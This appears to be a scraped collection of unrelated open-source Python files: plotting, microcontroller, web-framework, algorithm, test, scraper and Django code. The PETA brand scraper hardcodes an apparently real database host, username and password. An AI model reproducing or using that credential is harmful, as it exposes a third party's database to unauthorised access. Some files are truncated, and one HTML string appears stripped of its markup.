(est)\",VE[i],name)\n fig.savefig(\"Plots/Boosters/\"+\"Cases Booster 18+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Cases and Booster Vaccination 50+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Booster_Doses_50Plus_Vax_Pct\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/Boosters/\"+\"Cases Booster 50+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range((len(VE))):\n name=\"Cases and Booster Vaccination 65+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Booster_Doses_65Plus_Vax_Pct\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/Boosters/\"+\"Cases Booster 65+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n\n\n for i in range(len(VE)):\n name=\"Deaths and Boosters All Vaccinations VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Booster_Doses_Vax_Pct\",\"deathspercap\",VE[i],name,dfD,dfD,0.2) \n fig.savefig(\"Plots/Boosters/\"+\"Deaths Boosters VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Deaths and Booster Vaccination 18+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Booster_Doses_18Plus_Vax_Pct\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/Boosters/\"+\"Deaths Booster 18+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Deaths and Booster Vaccination 50+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Booster_Doses_50Plus_Vax_Pct\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/Boosters/\"+\"Deaths Booster 50+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range((len(VE))):\n name=\"Deaths and Booster Vaccination 65+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Booster_Doses_65Plus_Vax_Pct\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/Boosters/\"+\"Deaths Booster 65+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n\n\n #Doses Sum Total:\n for i in range(len(VE)):\n name=\"Cases and Two Doses Sum All Vaccinations VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"TwoDoses\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/DosesSum/\"+\"Cases Two Doses Sum VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Cases and Two Doses Sum 12+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"TwoDoses12+\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/DosesSum/\"+\"Cases Two Doses Sum 12+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Cases and Two Doses Sum 18+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"TwoDoses18+\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/DosesSum/\"+\"Cases Two Doses Sum 18+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range((len(VE))):\n name=\"Cases and Two Doses Sum 65+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"TwoDoses65+\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/DosesSum/\"+\"Cases Two Doses Sum 65+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n\n\n for i in range(len(VE)):\n name=\"Deaths and Two Doses Sum All Vaccinations VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"TwoDoses\",\"deathspercap\",VE[i],name,dfD,dfD,0.2) \n fig.savefig(\"Plots/DosesSum/\"+\"Deaths Two Doses Sum VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Deaths and Two Doses Sum 12+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"TwoDoses12+\",\"deathspercap\",VE[i],name,dfD,dfD,0.2) \n fig.savefig(\"Plots/DosesSum/\"+\"Deaths Two Doses Sum 12+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Deaths and Two Doses Sum 18+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"TwoDoses18+\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/DosesSum/\"+\"Deaths Two Doses Sum 18+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range((len(VE))):\n name=\"Deaths and Two Doses Sum 65+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"TwoDoses65+\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/DosesSum/\"+\"Deaths Two Doses Sum 65+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n\n\n\n for i in range(len(VE)):\n name=\"Cases and Three Doses Sum All Vaccinations VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"ThreeDoses\",\"cases_per_100K (est)\",VE[i],name) \n fig.savefig(\"Plots/DosesSum/\"+\"Cases Three Doses Sum VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Cases and Three Doses Sum 18+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"ThreeDoses18+\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/DosesSum/\"+\"Cases Three Doses Sum 18+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range((len(VE))):\n name=\"Cases and Three Doses Sum 65+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"ThreeDoses65+\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/DosesSum/\"+\"Cases Three Doses Sum 65+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n\n\n for i in range(len(VE)):\n name=\"Deaths and Three Doses Sum All Vaccinations VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"ThreeDoses\",\"deathspercap\",VE[i],name,dfD,dfD,0.2) \n fig.savefig(\"Plots/DosesSum/\"+\"Deaths Three Doses Sum VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Deaths and Three Doses Sum 18+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"ThreeDoses18+\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/DosesSum/\"+\"Deaths Three Doses Sum 18+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range((len(VE))):\n name=\"Deaths and Three Doses Sum 65+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"ThreeDoses65+\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/DosesSum/\"+\"Deaths Three Doses Sum 65+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n\n\n for i in range(len(VE)):\n name=\"Cases and Full Booster Sum All Vaccinations VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"FullBooster\",\"cases_per_100K (est)\",VE[i],name) \n fig.savefig(\"Plots/DosesSum/\"+\"Cases Full Booster Sum VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Cases and Full Booster Sum 18+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"FullBooster18+\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/DosesSum/\"+\"Cases Full Booster Sum 18+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range((len(VE))):\n name=\"Cases and Full Buuster Sum 65+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"FullBooster65+\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/DosesSum/\"+\"Cases Full Booster Sum 65+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n\n\n for i in range(len(VE)):\n name=\"Deaths and Full Booster Sum All Vaccinations VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"FullBooster\",\"deathspercap\",VE[i],name,dfD,dfD,0.2) \n fig.savefig(\"Plots/DosesSum/\"+\"Deaths Full Booster Sum VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Deaths and Full Booster Sum 18+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"FullBooster18+\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/DosesSum/\"+\"Deaths Full Booster Sum 18+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range((len(VE))):\n name=\"Deaths and Full Booster Sum Sum 65+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"FullBooster65+\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/DosesSum/\"+\"Deaths Full Booster Sum 65+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n","repo_name":"Stataist/Sensitivity-Analysis-for-VE","sub_path":"Project.py","file_name":"Project.py","file_ext":"py","file_size_in_byte":34745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31778693239","text":"# file: change_led_w_touch\n# Licensed under MIT\n# Software comes as is with no warranty as described in the MIT license in parent directory\n#\n# Purpose: To demonstrate using the AT42QT1070 capacitive touch IC\n# (primarily the AT42QT1070 acorn) to control an LED \n# (built in neopixel on a circuitpython board) depending on the touch state of the device.\n\nimport board\nimport time\nimport odt_at42qt1070\nimport neopixel\n\n# sets i2c variable to the I2C bus object \ni2c = board.I2C()\n\n# setup so we can change the Neopixel color\npixel = neopixel.NeoPixel(board.NEOPIXEL, 1)\n\n# set the brightness. 0.3 is usually pretty bright.\npixel.brightness = 0.3\n\n#setup the AT42QT1070 over I2C\ntouch = odt_at42qt1070.AT42QT1070(i2c)\n\nwhile True:\n # check if the board detects a touch on any of the pins.\n if touch.touched():\n pixel[0] = (0,0,255)\n else:\n pixel[0] = (0,255,0)\n # let it sleep so we can make sure it's a little more stable\n time.sleep(0.1)\n","repo_name":"skerr92/breakout-boards","sub_path":"AT42QT1070 Acorn/examples/python/change_led_w_touch.py","file_name":"change_led_w_touch.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"} +{"seq_id":"21469338015","text":"# -*- Python -*-\n#\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#\n# Jiao Lin\n# California Institute of Technology\n# (C) 2006-2009 All Rights Reserved\n#\n# {LicenseText}\n#\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#\n\n\nimport luban\n\n\n# constants\n# enable_js_url = \"http://www.activatejavascript.org/\"\nenable_js_url = \"http://www.google.com/support/bin/answer.py?answer=23852\"\n\n\n\nclass Frame2HtmlDocument(object):\n\n \"\"\"\n renders a ui document into a html document instance and a javascript document\n instance\n\n DEVELOPERS:\n subclass could override customizeHtmlTarget to add a few things to \n the html target\n \"\"\"\n\n javascript_is_required = \"\"\"\n

\nPlease \n\nenable javascript\n\nfor this site, and\nreload.\n

\n\"\"\" % enable_js_url\n\n def __init__(\n self, \n librarian=None, \n javascriptsbase = 'javascripts', imagesbase='images',\n favicon = '/static/images/favicon.ico',\n controller_parameter_prefix = '', # 'actor.' if use pyre like component structure\n obj2json = None,\n ):\n if librarian is None: raise RuntimeError\n self.librarian = librarian\n\n self.javascriptsbase = javascriptsbase\n self.imagesbase = imagesbase\n self.favicon = favicon\n\n self.controller_parameter_prefix = controller_parameter_prefix\n\n if obj2json is None: raise RuntimeError\n self.obj2json = obj2json\n return\n\n\n def render(\n self, uiobject,\n html_target=None, javascript_target=None,\n ):\n\n if html_target is None:\n from .content.HtmlDocument import HtmlDocument\n html_target = HtmlDocument()\n self.html_target= html_target\n\n # for ajax crawler\n html_target.head.tag('meta', name='fragment', content='!')\n\n # favicon.ico\n favicon = self.favicon\n if favicon != 'favicon.ico':\n html_target.head.tag(\n 'link', \n rel=\"shortcut icon\",\n href=favicon)\n\n if javascript_target is None:\n from .content.JavaScriptDocument import JavaScriptDocument\n javascript_target = JavaScriptDocument()\n self.javascript_target = javascript_target\n\n # cover the bases\n # we need to add a few things to head\n htmlroot = html_target.root\n \n librarian = self.librarian\n for category in librarian.reserved:\n for stylesheet in librarian.iterStyleSheets(category):\n htmlroot.stylesheet(url=stylesheet)\n for jslib in librarian.iterJavaScriptLibs(category):\n javascript_target.include(script=jslib)\n\n # the body wrapper div\n html_target.body.tag('div', id='body-wrapper').contents.append('')\n nojs_div = html_target.body.tag('div', id='no-javascript-banner')\n nojs_div.contents = [self.javascript_is_required]\n\n # \n self.javascript_target.main += [\n # url bases\n 'luban.configuration.javascripts_base = \"%s\";' % self.javascriptsbase,\n 'luban.configuration.images_base = \"%s\";' % self.imagesbase,\n 'luban.configuration.icons_base = \"%s/icons\";' % self.imagesbase,\n\n # \n 'luban.Controller.parameter_prefix = \"%s\";' % self.controller_parameter_prefix,\n ]\n if not luban.app_config.debug:\n self.javascript_target.main.append(\n 'luban.configuration.debug = false;'\n )\n \n #\n getliblist = lambda f: list(l.name for l in librarian.iterLibraries(f))\n exclude_libs = []\n for r in librarian.reserved: exclude_libs += getliblist(r)\n \n for widget in librarian.iterWidgets():\n if not widget: continue\n stylesheets = list(\n librarian.iterStyleSheets(\n widget, exclude_libs=exclude_libs)\n )\n jslibs = list(\n librarian.iterJavaScriptLibs(\n widget, exclude_libs=exclude_libs)\n )\n d = {'javascripts': jslibs, 'stylesheets': stylesheets}\n d = jsonEncode(d)\n self.javascript_target.main += [\"luban.widgets.implementationRegistry.%s = %s;\" % (widget, d) ]\n continue\n\n \n # initialize luban\n injson = self.obj2json.render(uiobject)\n self.javascript_target.main += [\n 'luban.init.frame = %s;' % injson,\n 'luban.init();'\n ]\n \n # optional customization\n self.customizeHtmlTarget(html_target)\n \n return html_target, javascript_target\n\n\n def customizeHtmlTarget(self, html_target):\n \"optional hook to customize html target\"\n return\n\n\nfrom ._utils import jsonEncode\n\n\nfrom luban import journal\ndebug = journal.debug('luban.weaver.web')\n\n\n# version\n__id__ = \"$Id$\"\n\n# End of file \n","repo_name":"yxqd/luban","sub_path":"core/luban/weaver/web/Frame2HtmlDocument.py","file_name":"Frame2HtmlDocument.py","file_ext":"py","file_size_in_byte":5148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"23019926805","text":"# 첫번째 풀이(dfs)\nclass Solution:\n def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n graph = {x:[] for x in range(numCourses)}\n check = {x:0 for x in range(numCourses)}\n\n for p in prerequisites:\n graph[p[0]].append(p[1])\n \n def dfs(node):\n res = True\n for neib in graph[node]:\n if check[neib] == 2 or visited[neib]:\n res = False\n break\n if check[neib] == 1:\n continue\n visited[neib] = True\n if not dfs(neib):\n res = False\n visited[neib] = False\n check[node] = 1 if res else 2\n return res\n\n for i in range(numCourses):\n visited = [False] * numCourses\n if check[i] == 0:\n visited[i] = True\n if not dfs(i):\n return False\n visited[0] = False\n return True\n \n# 두번째 풀이(Topological Sort)\nclass Solution:\n def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n graph = {x:[] for x in range(numCourses)}\n in_degree = {x:0 for x in range(numCourses)}\n\n for p in prerequisites:\n graph[p[1]].append(p[0])\n in_degree[p[0]] += 1\n dq = deque()\n \n for k, v in in_degree.items():\n if v == 0:\n dq.append(k)\n\n answer = []\n while dq:\n curr = dq.popleft()\n answer.append(curr)\n\n for neib in graph[curr]:\n in_degree[neib] -= 1\n if in_degree[neib] == 0:\n dq.append(neib)\n return len(answer) == numCourses","repo_name":"pjaehyun/TIL","sub_path":"PS/leetcode/207.Course Schedule.py","file_name":"207.Course Schedule.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"40603956305","text":"\"\"\"\n\ndef get_result(num): #Parameter and positional argument\n result=num+10\n print(f\"final result of num is {result}\")\n return None\n\ndef main():\n num=eval(input(\"Enter your number: \"))\n get_result(num) #Argument\n return None\n\n\n\nmain()\n\"\"\"\n\n\ndef get_add(p,q):\n result=p+q\n print(f\"The addition of {p} and {q} is : {result}\")\n return None \n\ndef get_sub(m,n):\n result=m-n\n print(f\"The sub of {m} and {n} is : {result}\")\n return None\n\ndef main():\n a=eval(input(\"Enter your first number: \"))\n b=eval(input(\"Enter your second number: \"))\n get_add(a,b)\n get_sub(b,a)\n get_sub(109,16)\n x=50\n get_add(x,b)\n get_sub(b,x)\n return None\n\n\nmain()\n\n","repo_name":"SachinPitale/Python3","sub_path":"Python-2021/17.Functions/4.function-with-simple-argument.py","file_name":"4.function-with-simple-argument.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"26701622119","text":"import uuid\n\nimport mock\nfrom oslo.config import cfg\n\nfrom tacker.api.v1 import attributes\nimport tacker.openstack.common.rpc.proxy\nfrom tacker.tests import base\nfrom tacker.vm import proxy_api\n\n\nclass TestProxyApi(base.BaseTestCase):\n network_id = str(uuid.uuid4())\n subnet_id = str(uuid.uuid4())\n port_id = str(uuid.uuid4())\n direction = 'send'\n src_target = 'topic=src_topic,server=src_server'\n dst_target = 'topic=dst_topic,server=dst_server'\n\n def setUp(self):\n super(TestProxyApi, self).setUp()\n cfg.CONF.set_override('rpc_backend',\n 'tacker.openstack.common.rpc.impl_fake')\n self.context = object()\n self.api = proxy_api.ServiceVMPluginApi('fake-topic')\n self.core_plugin = mock.Mock()\n self.mock_rpc_proxy_call_p = mock.patch.object(\n tacker.openstack.common.rpc.proxy.RpcProxy, 'call')\n self.mock_rpc_proxy_call = self.mock_rpc_proxy_call_p.start()\n\n def test_create_namespace_agent(self):\n core_plugin = self.core_plugin\n subnet = {\n 'id': self.subnet_id,\n }\n core_plugin.get_subnet.return_value = subnet\n port = {\n 'id': self.port_id,\n 'network_id': self.network_id,\n 'fixed_ips': [\n {'subnet_id': self.subnet_id}\n ]\n }\n core_plugin.create_port.return_value = port\n self.api.create_namespace_agent(core_plugin, self.context,\n self.network_id)\n\n self.core_plugin.create_port.assert_called_once_with(\n self.context, {'port': {'name': mock.ANY,\n 'admin_state_up': True,\n 'network_id': self.network_id,\n 'device_owner': 'tacker:SERVICEVM',\n 'mac_address': mock.ANY,\n 'device_id': mock.ANY,\n 'fixed_ips': attributes.ATTR_NOT_SPECIFIED,\n }})\n self.mock_rpc_proxy_call.assert_called_once_with(\n self.context,\n {'args': {'port': {\n 'id': self.port_id,\n 'network_id': self.network_id,\n 'fixed_ips': [{\n 'subnet_id': self.subnet_id,\n 'subnet': {'id': self.subnet_id}}]}},\n 'namespace': None,\n 'method': 'create_namespace_agent'})\n\n def test_destroy_namespace_agent(self):\n self.api.destroy_namespace_agent(self.core_plugin, self.context,\n self.port_id)\n\n self.mock_rpc_proxy_call.assert_called_once_with(\n self.context, {'args': {'port_id': self.port_id},\n 'namespace': None,\n 'method': 'destroy_namespace_agent'})\n self.core_plugin.delete_port.assert_called_once_with(self.context,\n self.port_id)\n\n def test_creeat_rpc_proxy(self):\n self.api.create_rpc_proxy(\n self.context, self.port_id, self.src_target, self.dst_target,\n self.direction)\n self.mock_rpc_proxy_call.assert_called_once_with(\n self.context, {'args': {'port_id': self.port_id,\n 'src_target': self.src_target,\n 'dst_unix_target': self.dst_target,\n 'direction': self.direction},\n 'namespace': None,\n 'method': 'create_rpc_proxy'})\n\n def test_destroy_rpc_proxy(self):\n proxy_id = str(uuid.uuid4())\n rpc_proxy_id = str(uuid.uuid4())\n self.api.destroy_rpc_proxy(self.context, proxy_id, rpc_proxy_id)\n self.mock_rpc_proxy_call.assert_called_once_with(\n self.context, {'args': {'proxy_id': proxy_id,\n 'rpc_proxy_id': rpc_proxy_id},\n 'namespace': None,\n 'method': 'destroy_rpc_proxy'})\n\n def test_create_rpc_namespace_proxy(self):\n dst_transport_url = 'fake:///'\n direction = 'send'\n self.api.create_rpc_namespace_proxy(\n self.context, self.port_id, self.src_target,\n dst_transport_url, self.dst_target, direction)\n self.mock_rpc_proxy_call.assert_called_once_with(\n self.context, {'args': {'dst_transport_url': dst_transport_url,\n 'direction': direction,\n 'port_id': self.port_id,\n 'src_target': self.src_target,\n 'dst_target': self.dst_target},\n 'namespace': None,\n 'method': 'create_rpc_namespace_proxy'})\n\n def test_destroy_rpc_namespace_proxy(self):\n ns_proxy_id = str(uuid.uuid4())\n self.api.destroy_rpc_namespace_proxy(self.context, self.port_id,\n ns_proxy_id)\n self.mock_rpc_proxy_call.assert_called_once_with(\n self.context, {'args': {'port_id': self.port_id,\n 'namespace_proxy_id': ns_proxy_id},\n 'namespace': None,\n 'method': 'destroy_rpc_namespace_proxy'})\n","repo_name":"yamahata/tacker","sub_path":"tacker/tests/unit/services/vm/test_proxy_api.py","file_name":"test_proxy_api.py","file_ext":"py","file_size_in_byte":5449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14108134189","text":" # -!- coding: utf-8 -!- 。\nimport psycopg2 \nfrom psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT\nimport requests\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\n#from jedi.inference.value import iterable\n#from test.test_xmlrpc import alist\n\nconn = psycopg2.connect(host=\"db.zvkaicfdjrsrevzuzzxh.supabase.co\", user=\"postgres\", password =\"TiBmTydtbNZ6YfiZ\", dbname=\"postgres\")\nconn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)\ncursor = conn.cursor()\ncursor2 = conn.cursor()\nprint(\"資料庫連線成功！\")\n\n#------------------------\nr = requests.get(\"https://crueltyfree.peta.org/companies-dont-test/\") #將此頁面的HTML GET下來\nsoup = BeautifulSoup(r.text,\"html.parser\") #將網頁資料以html.parser\nsel = soup.select(\"ul.search-results a\") #選取 ul.search-results a ，並存入sel\nurl = \"https://crueltyfree.peta.org/companies-dont-test/\"\ncursor.execute(\"SELECT b_name FROM public.brand\")\ndb = list(cursor.fetchall())\nprint(db)\nlist_a = []\ncursor2.execute(\"SELECT b_name FROM public.brand WHERE peta = True\")\npetadb = list(cursor2.fetchall())\nprint (len(petadb))\n\nfor i in range(2,123): #2~13頁\n r = requests.get(url)\n soup = BeautifulSoup(r.text,\"html.parser\")\n sel = soup.select(\"ul.search-results a\") #標題\n print (\"本頁的URL為\"+url)\n url = \"https://crueltyfree.peta.org/companies-dont-test/page/\" + str(i) #下一頁的網址\n for name in sel:\n a_name = (name.text)\n uptime = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n #print(uptime)\n if a_name =='': #跳過空白的資料\n continue\n elif any(a_name in s for s in db): #確認標題是否已存在資料庫\n if(a_name.count(\"'\") >= 1): #標題裡有'符號\n a_name =a_name.replace(\"'\",\"%\")\n cursor.execute(\"UPDATE public.brand SET peta = %s, updatetime = '%s' where b_name like '%s'\"%(True, uptime, a_name)) #更新資料peta為True\n #print(\"update///\" + a_name)\n else:\n cursor.execute(\"UPDATE public.brand SET peta = %s, updatetime = '%s' where b_name = '%s'\"%(True, uptime, a_name)) #更新資料peta為True\n #print(\"found/\" + a_name)\n else:\n #print(uptime)\n cursor.execute(\"INSERT INTO public.brand(b_name, peta, updatetime) VALUES (%s, %s, %s);\",(a_name, True, uptime)) #新增資料\n list_a.append(a_name) #將a_name放進list最後\n #print(list_a)\n \nj=0 \nwhile (j < len(petadb)):\n te = str(petadb[j]).strip('(,)') #去除資料庫前後的(,)符號\n te = te.strip('\"') #去除前後'\n te = te.strip(\"'\") #去除前後\"\n te = te.replace(\"'\", \"%\")\n if(te not in list_a): #若資料庫的資料不存在於list_a\n print(te)\n uptime = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n cursor.execute(\"UPDATE public.brand SET peta = %s, updatetime = '%s' where b_name like '%s'\"%(False, uptime, te)) #更新資料peta為False\n j+=1 \n \ncursor.execute(\"DELETE FROM public.brand WHERE peta = False AND leapingbunny = False AND nmcb = False\")\nprint('資料新增成功！')\n\n","repo_name":"NTUB-CASE-111204/webcrawler_sql","sub_path":"peta.py","file_name":"peta.py","file_ext":"py","file_size_in_byte":3162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15581632870","text":"import requests\nimport json\nimport time\nimport math\n\n\ndef db_check():\n url = 'http://127.0.0.1:8000/qr_code/'\n\n for i in range(4000, 20000):\n data = json.dumps({\"url\": f\"https://ssl{i}.com.ua/\"})\n a = requests.post(url, data)\n time.sleep(0.1)\n print(i, a)\n\n\ndef pagination_test():\n count = 90\n max_count = 163\n page = 1\n count_of_pages = math.ceil(count / max_count)\n print(count_of_pages)\n\n if page <= count_of_pages:\n if not page == count_of_pages:\n right = page * max_count\n left = right - max_count\n else:\n right = count\n left = (page - 1) * max_count\n else:\n return []\n","repo_name":"azamat7087/qr_code","sub_path":"qr_code/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37214836230","text":"from django.conf import settings\nfrom django.db import models\nfrom django.utils import timezone\n\nGRADE = (\n ('trainee', 'Trainee'),\n ('junior', 'Junior'),\n ('middle', 'Middle'),\n ('senior', 'Senior'),\n ('lead', 'Lead'),\n ('architect', 'Architect'),\n ('mentor', 'Mentor'),\n ('cto', 'CTO'),\n ('ceo', 'CEO'),\n )\nCURRENCY = (\n ('USD', 'USD'),\n ('EUR', 'EUR'),\n ('BYN', 'BYN'),\n ('RYB', 'RYB'),\n )\n\nclass Vacancy(models.Model):\n title = models.CharField(\"Название\", max_length=200)\n color = models.CharField(\"Цвет публикации\", max_length=10)\n text = models.TextField(\"Описание\")\n salary_from = models.IntegerField(\"Вилка от\")\n salary_to = models.IntegerField(\"Вилка до\")\n currency = models.CharField(\"Валюта\", max_length=500, choices=CURRENCY)\n grade = models.CharField(\"Грейд\", max_length=500, choices=GRADE)\n stack = models.CharField(\"Технологии\", max_length=500)\n benefits = models.TextField(\"Предложение и бонусы\")\n vacancy_date = models.DateField(\"Дата публикации\", default=timezone.now)\n activity = models.BooleanField('Активность', default=0)\n hot = models.BooleanField('Продвижение', default=0)\n\n\n def publish(self):\n self.vacancy_date = timezone.now()\n self.save()\n\n def __str__(self):\n return f' \"{self.title}\"'+f' от {self.vacancy_date}'\n\n @property\n def stack_splitted(self):\n return self.stack.split(\", \")\n\n\n\n","repo_name":"agolubenk/want2it_backend","sub_path":"vacancy/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22856931640","text":"\nimport test\ntest.prefer_parent_path()\n\nimport cherrypy\n\ndef setup_server():\n class Root:\n def index(self):\n return \"Hello, world\"\n index.exposed = True\n \n def dom4(self):\n return \"Under construction\"\n dom4.exposed = True\n\n class VHost:\n def __init__(self, sitename):\n self.sitename = sitename\n \n def index(self):\n return \"Welcome to %s\" % self.sitename\n index.exposed = True\n\n\n cherrypy.root = Root()\n cherrypy.root.mydom2 = VHost(\"Domain 2\")\n cherrypy.root.mydom3 = VHost(\"Domain 3\")\n\n cherrypy.config.update({\n 'server.logToScreen': False,\n 'server.environment': 'production',\n 'virtual_host_filter.on': True,\n 'virtual_host_filter.www.mydom2.com': '/mydom2',\n 'virtual_host_filter.www.mydom3.com': '/mydom3',\n 'virtual_host_filter.www.mydom4.com': '/dom4',\n })\n\nimport helper\n\nclass VirtualHostFilterTest(helper.CPWebCase):\n \n def testVirtualHostFilter(self):\n self.getPage(\"/\", [('Host', 'www.mydom1.com')])\n self.assertBody('Hello, world')\n self.getPage(\"/mydom2/\", [('Host', 'www.mydom1.com')])\n self.assertBody('Welcome to Domain 2')\n \n self.getPage(\"/\", [('Host', 'www.mydom2.com')])\n self.assertBody('Welcome to Domain 2')\n self.getPage(\"/\", [('Host', 'www.mydom3.com')])\n self.assertBody('Welcome to Domain 3')\n self.getPage(\"/\", [('Host', 'www.mydom4.com')])\n self.assertBody('Under construction')\n\n\nif __name__ == \"__main__\":\n setup_server()\n 